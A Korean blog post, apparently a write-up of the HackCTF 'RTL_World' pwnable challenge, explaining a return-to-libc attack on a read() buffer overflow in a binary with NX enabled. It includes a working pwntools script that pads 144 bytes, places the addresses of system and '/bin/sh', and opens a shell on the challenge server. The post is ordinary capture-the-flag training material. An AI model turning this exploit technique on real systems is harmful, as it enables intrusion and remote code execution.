tmxklab

[HackCTF/Pwnable] RTL_World 본문

War Game/HackCTF

[HackCTF/Pwnable] RTL_World

tmxk4221 2020. 2. 22. 00:16

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3010

 

1) 접속

 

1번 : Binary Boss에 대한 메모리 보호기법 등 정보를 얻을 수 있다.


2번 : 3가지 방법을 통해 돈을 얻을 수 있는 메뉴

 

3~4번 : 돈을 모아 System Armor와 Shell Sword를 구입할 수 있는 메뉴

 

5번 : 사용자의 입력을 받을 수 있는 메뉴

 

2) IDA(Pseudocode)확인 - main()

 

3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인

NX가 걸린 것을 보아 제목에서 처럼 라이브러리에 있는 실행권한을 이용하여 RTL공격을 하면 될 것 같다.


2. 접근방법

1) 결론

  • read함수를 통해 bof를 일으켜 RTL공격을 실행
  • 이 때, RTL공격에 사용할 system함수와 "/bin/sh"문자열의 주소 값을 찾아야 한다.

3. 풀이

1) system함수의 주소 값 찾기

 

2) "/bin/sh" 주소 값 찾기

 

3) 공격코드 작성

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3010)

system_addr = 0x080485b0
binsh_addr = 0x8048eb1

p.sendline("5")
p.recvuntil("[Attack] > ")

payload = "A"*144
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()

 

4) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Poet  (0) 2020.02.22
[HackCTF/Pwnable] g++ pwn  (0) 2020.02.22
[HackCTF/Pwnable] Yes or no  (0) 2020.02.22
[HackCTF/Pwnable] BOF_PIE  (0) 2020.01.28
[HackCTF/Pwnable] Offset  (0) 2020.01.27
Comments